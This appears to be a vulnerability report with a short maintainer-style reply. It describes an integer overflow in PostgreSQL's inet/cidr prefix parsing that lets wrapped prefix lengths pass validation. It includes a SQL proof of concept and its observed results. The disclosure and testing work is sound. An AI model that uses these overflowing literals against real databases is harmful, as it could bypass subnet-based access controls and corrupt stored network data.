In `src/backend/utils/adt/inet_net_pton.c`, both `inet_cidr_pton_ipv4()` (lines 177–188) and `inet_net_pton_ipv4()` (lines 296–308) accumulate the CIDR prefix length digit-by-digit with no per-digit overflow guard, allowing a 32-bit signed `int bits` to wrap silently on inputs such as `4294967297` (2³²+1 → 1). The post-loop check `if (bits > 32) goto emsgsize` then sees the wrapped value and passes it, causing any non-privileged SQL user to store `inet`/`cidr` values with silently corrupted prefix lengths. An attacker who can INSERT into a table with an `inet`/`cidr` column, or supply a cast literal, can produce entries whose stored masklen differs arbitrarily from what was written, potentially bypassing application-layer ACL logic built on PostgreSQL subnet-containment operators.
### PoC
No superuser required; any user able to execute a `SELECT` or `INSERT` with an `inet`/`cidr` cast is sufficient.
```sql \set ON_ERROR_STOP off
-- Test 1: inet cast — 4294967297 = 2^32+1 wraps to 1; should ERROR but does not SELECT masklen('1.2.3.4/4294967297'::inet) AS actual_masklen; -- Observed: 1 Expected: ERROR
-- Test 2: cidr cast — 4294967296 = 2^32 wraps to 0; should ERROR but does not SELECT masklen('0.0.0.0/4294967296'::cidr) AS actual_masklen; -- Observed: 0 Expected: ERROR
-- Control: legitimate out-of-range /33 is correctly rejected SELECT masklen('1.2.3.4/33'::inet) AS should_error; -- Observed: ERROR: invalid input syntax for type inet: "1.2.3.4/33"
-- Stored value demonstration SELECT host('1.2.3.4/4294967297'::inet) AS inet_host, masklen('1.2.3.4/4294967297'::inet) AS inet_masklen_actual, 1 AS inet_masklen_expected; -- Returns: 1.2.3.4 | 1 | 1 (value accepted and stored with wrong prefix) ```
### Result
- `'1.2.3.4/4294967297'::inet` — expected `ERROR: invalid mask length`; actual `masklen() = 1` (2³²+1 wraps to 1, bypass confirmed). - `'0.0.0.0/4294967296'::cidr` — expected `ERROR: invalid mask length`; actual `masklen() = 0` (2³² wraps to 0, bypass confirmed). - `'1.2.3.4/33'::inet` — correctly raises `ERROR: invalid input syntax for type inet: "1.2.3.4/33"` (normal in-range bound check works).
The asymmetry demonstrates that only the integer-overflow path escapes validation: overflowing prefix literals are silently accepted and stored with a wrong (wrapped) prefix length, while a straightforward out-of-range value is rejected. Any application relying on `<<` / `<<=` subnet comparisons against stored `inet`/`cidr` values is exposed to logic bypass via entries whose effective mask is broader than intended.
Hi!
Thnx for the report.
I've already encountered this problem, I just never got around to making a report.